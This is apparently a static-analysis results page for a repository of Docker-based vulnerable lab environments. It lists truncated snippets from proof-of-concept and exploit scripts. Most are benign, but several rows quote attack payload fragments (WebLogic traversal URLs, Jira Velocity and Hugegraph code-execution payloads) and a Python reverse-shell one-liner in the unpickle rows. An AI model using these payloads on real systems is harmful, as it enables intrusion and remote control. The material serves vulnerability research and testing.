Pre-Built Vulnerable Environments Based on Docker-Compose
145 matches across 13 categories. Click a row to expand file-level details.
| Severity | File | Line | Snippet |
|---|---|---|---|
| CRITICAL | activemq/CVE-2022-41678/poc.py | 12 | 'out.println(org.apache.commons.io.IOUtils.toString(p.getInputStream(), "utf-8")); %>') |
| CRITICAL | weblogic/CVE-2020-14882/README.md | 45 | http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2 |
| CRITICAL | weblogic/CVE-2020-14882/README.md | 78 | http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.spri |
| CRITICAL | weblogic/CVE-2020-14882/README.zh-cn.md | 41 | http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2 |
| CRITICAL | weblogic/CVE-2020-14882/README.zh-cn.md | 74 | http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.spri |
| CRITICAL | java/rmi-registry-bind-deserialization-bypass/README.md | 13 | || java.lang.reflect.Proxy.class.isAssignableFrom(clazz) |
| CRITICAL | java/rmi-registry-bind-deserialization-bypass/README.md | 17 | || java.rmi.activation.ActivationID.class.isAssignableFrom(clazz) |
| CRITICAL | java/rmi-registry-bind-deserialization-bypass/README.md | 18 | || java.rmi.server.UID.class.isAssignableFrom(clazz)) { |
| CRITICAL | …i-registry-bind-deserialization-bypass/README.zh-cn.md | 11 | || java.lang.reflect.Proxy.class.isAssignableFrom(clazz) |
| CRITICAL | …i-registry-bind-deserialization-bypass/README.zh-cn.md | 15 | || java.rmi.activation.ActivationID.class.isAssignableFrom(clazz) |
| CRITICAL | …i-registry-bind-deserialization-bypass/README.zh-cn.md | 16 | || java.rmi.server.UID.class.isAssignableFrom(clazz)) { |
| CRITICAL | hugegraph/CVE-2024-27348/README.md | 44 | "gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect |
| CRITICAL | hugegraph/CVE-2024-27348/README.zh-cn.md | 42 | "gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect |
| Severity | File | Line | Snippet |
|---|---|---|---|
| MEDIUM | openclaw/CVE-2026-25253/poc.py | 696 | # ------------------------------------------------------- |
| MEDIUM | openclaw/CVE-2026-25253/poc.py | 698 | # ------------------------------------------------------- |
| MEDIUM | openclaw/CVE-2026-25253/poc.py | 704 | # ------------------------------------------------------- |
| MEDIUM | openclaw/CVE-2026-25253/poc.py | 706 | # ------------------------------------------------------- |
| MEDIUM | openclaw/CVE-2026-25253/poc.py | 931 | # ------------------------------------------------------- |
| MEDIUM | openclaw/CVE-2026-25253/poc.py | 933 | # ------------------------------------------------------- |
| MEDIUM | openclaw/CVE-2026-25253/poc.py | 229 | # ------------------------------------------------------- |
| MEDIUM | openclaw/CVE-2026-25253/poc.py | 233 | # ------------------------------------------------------- |
| MEDIUM | openclaw/CVE-2026-25253/poc.py | 669 | # ------------------------------------------------------- |
| MEDIUM | openclaw/CVE-2026-25253/poc.py | 671 | # ------------------------------------------------------- |
| MEDIUM | openclaw/CVE-2026-25253/poc.py | 995 | # ------------------------------------------------------- |
| MEDIUM | openclaw/CVE-2026-25253/poc.py | 997 | # ------------------------------------------------------- |
| MEDIUM | openclaw/CVE-2026-25253/poc.py | 1018 | # ------------------------------------------------------- |
| MEDIUM | openclaw/CVE-2026-25253/poc.py | 1020 | # ------------------------------------------------------- |
| Severity | File | Line | Snippet |
|---|---|---|---|
| LOW | openclaw/CVE-2026-25253/poc.py | 536 | except Exception: |
| LOW | openclaw/CVE-2026-25253/poc.py | 544 | except Exception: |
| LOW | openclaw/CVE-2026-25253/poc.py | 551 | except Exception: |
| LOW | openclaw/CVE-2026-25253/poc.py | 692 | except Exception: |
| LOW | openclaw/CVE-2026-25253/poc.py | 395 | except Exception: |
| LOW | openclaw/CVE-2026-25253/poc.py | 515 | except Exception: |
| LOW | openclaw/CVE-2026-25253/poc.py | 624 | except Exception: |
| LOW | openclaw/CVE-2026-25253/poc.py | 721 | except Exception: |
| LOW | openclaw/CVE-2026-25253/poc.py | 782 | except Exception: |
| LOW | openclaw/CVE-2026-25253/poc.py | 816 | except Exception: |
| LOW | openclaw/CVE-2026-25253/poc.py | 851 | except Exception: |
| LOW | tests/tools/update_dockerhub.py | 118 | except Exception as e: |
| MEDIUM | tests/tools/update_dockerhub.py | 112 | def main(): |
| MEDIUM | tests/tools/check_image_arch.py | 281 | print(f"Error: {args.file} not found.", file=sys.stderr) |
| LOW | tests/tools/check_image_arch.py | 323 | except Exception as e: |
| LOW | erlang/CVE-2025-32433/exploit.py | 145 | except Exception as e: |
| LOW | showdoc/3.2.5-sqli/poc.py | 26 | except Exception as e: |
| MEDIUM | superset/CVE-2023-27524/CVE-2023-27524.py | 36 | print(f'Error retrieving login page at {u}, status code: {resp.status_code}') |
| MEDIUM | superset/CVE-2023-27524/CVE-2023-27524.py | 46 | print('Error: No session cookie found') |
| MEDIUM | superset/CVE-2023-27524/CVE-2023-27524.py | 55 | print('Error: Not a Flask session cookie') |
| LOW | superset/CVE-2023-27524/CVE-2023-27524.py | 98 | except Exception as e_inner: |
| LOW | superset/CVE-2023-27524/CVE-2023-27524.py | 119 | except Exception as e_inner: |
| LOW | superset/CVE-2023-27524/CVE-2023-27524.py | 124 | except Exception as e: |
| LOW | nginx-ui/CVE-2026-27944/poc.py | 83 | except Exception as e: |
| LOW | nginx-ui/CVE-2026-27944/poc.py | 210 | except Exception as e: |
| LOW | zabbix/CVE-2016-10134/CVE-2016-10134.py | 89 | except Exception: |
| LOW | craftcms/CVE-2025-32432/poc.py | 203 | except Exception as e: |
| LOW | ingress-nginx/CVE-2025-1974/exploit.py | 113 | except Exception as e: |
| MEDIUM | ingress-nginx/CVE-2025-1974/exploit.py | 114 | print(f"Error on /proc/{proc}/fd/{fd}: {e}") |
| MEDIUM | ingress-nginx/CVE-2025-1974/exploit.py | 134 | print(f"Error: Shell file '{shell_file}' not found") |
| LOW | ingress-nginx/CVE-2025-1974/exploit.py | 150 | except Exception as e: |
| MEDIUM | ingress-nginx/CVE-2025-1974/exploit.py | 151 | print(f"Error connecting to {host}:{port}: {e} - host is up?") |
| Severity | File | Line | Snippet |
|---|---|---|---|
| HIGH | wordpress/pwnscriptum/exploit.py | 17 | return 'target(any -froot@localhost -be %s null)' % command |
| HIGH | airflow/CVE-2020-11981/exploit_airflow_celery.py | 8 | ori_str="{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3 |
| HIGH | jira/CVE-2019-11581/poc.py | 28 | #set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd)) |
| HIGH | jira/CVE-2019-11581/poc.py | 40 | payload = "$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('whoa |
| HIGH | ingress-nginx/CVE-2025-1974/exploit.py | 54 | "creationTimestamp": null, |
| HIGH | ingress-nginx/CVE-2025-1974/exploit.py | 87 | "oldObject": null, |
| Severity | File | Line | Snippet |
|---|---|---|---|
| LOW | openclaw/CVE-2026-25253/poc.py | 932 | # Step 7: Restore original cliBackends config |
| LOW | openclaw/CVE-2026-25253/poc.py | 828 | # Step 5: Set session model to the injected CLI backend |
| LOW | openclaw/CVE-2026-25253/poc.py | 868 | # Step 6: Trigger agent execution — CLI backend spawns command directly |
| LOW | nginx-ui/CVE-2026-27944/poc.py | 180 | # Step 1: Create a new admin user via X-Node-Secret |
| LOW | nginx-ui/CVE-2026-27944/poc.py | 195 | # Step 2: Get RSA public key for encrypted login |
| LOW | nginx-ui/CVE-2026-27944/poc.py | 214 | # Step 3: RSA-encrypt login credentials and authenticate |
| LOW | nginx-ui/CVE-2026-27944/poc.py | 253 | # Step 1: Download backup |
| LOW | nginx-ui/CVE-2026-27944/poc.py | 263 | # Step 2: Parse encryption key |
| LOW | nginx-ui/CVE-2026-27944/poc.py | 266 | # Step 3: Decrypt backup |
| LOW | nginx-ui/CVE-2026-27944/poc.py | 269 | # Step 4: Extract secrets |
| LOW | nginx-ui/CVE-2026-27944/poc.py | 272 | # Step 5: Exploit with Node Secret |
| LOW | nginx-ui/CVE-2026-27944/poc.py | 279 | # Step 6: Optionally create new admin user and obtain JWT token |
| LOW | craftcms/CVE-2025-32432/poc.py | 178 | # Step 2: Inject PHP payload into session |
| LOW | craftcms/CVE-2025-32432/poc.py | 183 | # Step 3: Trigger RCE |
| Severity | File | Line | Snippet |
|---|---|---|---|
| LOW | activemq/CVE-2023-46604/poc.py | 1 | |
| LOW | activemq/CVE-2022-41678/poc.py | 8 | |
| LOW | cmsms/CVE-2021-26120/poc.py | 4 | |
| LOW | python/PIL-CVE-2018-16509/app.py | 1 | |
| LOW | python/PIL-CVE-2017-8291/app.py | 5 | |
| LOW | grafana/admin-ssrf/grafana-ssrf.py | 15 | |
| LOW | airflow/CVE-2020-11981/exploit_airflow_celery.py | 1 | |
| LOW | opensmtpd/CVE-2020-7247/poc.py | 19 | |
| LOW | nginx-ui/CVE-2026-27944/poc.py | 24 | |
| LOW | openssl/CVE-2014-0160/ssltest.py | 12 | |
| LOW | django/CVE-2020-9402/vuln/views.py | 1 | |
| LOW | django/CVE-2021-35042/vuln/urls.py | 1 | |
| LOW | django/CVE-2021-35042/vuln/urls.py | 1 | |
| LOW | django/CVE-2022-34265/vuln/models.py | 1 | |
| LOW | django/CVE-2022-34265/vuln/urls.py | 1 | |
| LOW | django/CVE-2022-34265/vuln/urls.py | 1 | |
| LOW | django/CVE-2022-34265/vuln/views.py | 1 | |
| LOW | base/pgadmin/6.16/config_local.py | 1 | |
| LOW | base/pgadmin/7.6/config_local.py | 1 | |
| LOW | base/django/2.0.7/app.py | 3 | |
| LOW | ingress-nginx/CVE-2025-1974/exploit.py | 1 | |
| LOW | spring/CVE-2025-41242/poc.py | 6 |
| Severity | File | Line | Snippet |
|---|---|---|---|
| LOW | couchdb/CVE-2022-24706/poc.py | 1 | # Exploit Title: Remote Command Execution via Erlang Distribution Protocol |
| LOW | apisix/CVE-2020-13945/config.yml | 1 | # |
| LOW | apisix/CVE-2021-45232/apisix.yml | 1 | # |
| LOW | apisix/CVE-2021-45232/dashboard.yml | 1 | # |
| LOW | openclaw/CVE-2026-25253/poc.py | 221 | websockets.exceptions.ConnectionClosedError) as exc: |
| LOW | thinkphp/in-sqlinjection/www/database.php | 1 | <?php |
| LOW | opensmtpd/CVE-2020-7247/poc.py | 1 | # Exploit Title: OpenSMTPD 6.6.1 - Remote Code Execution |
| LOW | base/couchdb/2.1.0/docker-entrypoint.sh | 1 | #!/bin/bash |
| LOW | base/couchdb/3.2.1/docker-entrypoint.sh | 1 | #!/bin/bash |
| LOW | base/couchdb/1.6.0/docker-entrypoint.sh | 1 | #!/bin/bash |
| LOW | base/aj-report/1.4.0/bootstrap.yml | 61 | #若要使用minio文件存储,请启用以下配置 |
| LOW | base/thinkphp/2.1/index.php | 1 | <?php |
| LOW | base/solr/8.6.1/cloud/zoo.cfg | 1 | # The number of milliseconds of each tick |
| LOW | base/solr/8.6.1/cloud/zoo.cfg | 21 | # |
| LOW | base/solr/8.3.0/cloud/zoo.cfg | 1 | # The number of milliseconds of each tick |
| LOW | base/solr/8.3.0/cloud/zoo.cfg | 21 | # |
| LOW | base/superset/2.0.1/run-server.sh | 1 | #!/usr/bin/env bash |
| Severity | File | Line | Snippet |
|---|---|---|---|
| HIGH | python/unpickle/README.md | 0 | python -c 'import socket,subprocess,os;s=socket.socket(socket.af_inet,socket.sock_stream);s.connect(("172.18.0.1",80));o |
| HIGH | python/unpickle/README.zh-cn.md | 0 | python -c 'import socket,subprocess,os;s=socket.socket(socket.af_inet,socket.sock_stream);s.connect(("172.18.0.1",80));o |
| HIGH | python/unpickle/exp.py | 0 | python -c 'import socket,subprocess,os;s=socket.socket(socket.af_inet,socket.sock_stream);s.connect(("172.18.0.1",80));o |
| Severity | File | Line | Snippet |
|---|---|---|---|
| LOW | activemq/CVE-2022-41678/poc.py | 972 | |
| LOW | tomcat/CVE-2020-1938/poc.py | 181 | |
| LOW | openclaw/CVE-2026-25253/poc.py | 457 | |
| LOW | openclaw/CVE-2026-25253/poc.py | 638 | |
| LOW | tests/tools/check_image_arch.py | 262 | |
| LOW | tests/check/test_env_toml.py | 60 | |
| LOW | superset/CVE-2023-27524/CVE-2023-27524.py | 18 | |
| LOW | nginx-ui/CVE-2026-27944/poc.py | 88 | |
| LOW | imagemagick/CVE-2022-44268/poc.py | 41 | |
| LOW | base/saltstack/2019.2.3/saltinit.py | 8 | |
| LOW | base/saltstack/3002/saltinit.py | 8 |
| Severity | File | Line | Snippet |
|---|---|---|---|
| LOW | openclaw/CVE-2026-25253/poc.py | 805 | # Check if the connection is still open before deciding. |
| LOW | .github/workflows/update-vulhub-org.yml | 60 | # Check if there are changes to commit |
| LOW | base/n8n/1.65.0/docker-entrypoint.sh | 15 | # Check if admin already exists |
| LOW | base/jenkins/2.46.1/install-plugins.sh | 231 | # Check if there's a version-specific update center, which is the case for LTS versions |
| Severity | File | Line | Snippet |
|---|---|---|---|
| LOW | tomcat/CVE-2020-1938/poc.py | 231 | def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): |
| LOW | openclaw/CVE-2026-25253/poc.py | 200 | async def _connect_and_authenticate(target, token_data, quiet=False): |
| LOW | openclaw/CVE-2026-25253/poc.py | 457 | async def _wait_for_gateway_restart(target, max_wait=30, token_data=None): |
| LOW | tests/check/test_env_toml.py | 60 | def test_dockerfile_covers_all_vulhub_images(): |
| LOW | php/xdebug-rce/exp.py | 43 | class XDebugRequestHandler(socketserver.BaseRequestHandler): |
| Severity | File | Line | Snippet |
|---|---|---|---|
| MEDIUM | base/postgres/9.6.7/docker-entrypoint.sh | 40 | # Create the transaction log directory before initdb is run (below) so the directory is owned by the correct user |
| Severity | File | Line | Snippet |
|---|---|---|---|
| LOW | comfyui/CVE-2025-67303/evil-git-server.py | 65 | subprocess.run(["git", "config", "user.email", "test@test.com"], cwd=src_path, check=True, |
| LOW | jira/CVE-2019-11581/poc.py | 12 | "from": "test@test.com", |
| LOW | base/n8n/1.65.0/docker-entrypoint.sh | 50 | "placeholder": "John Doe" |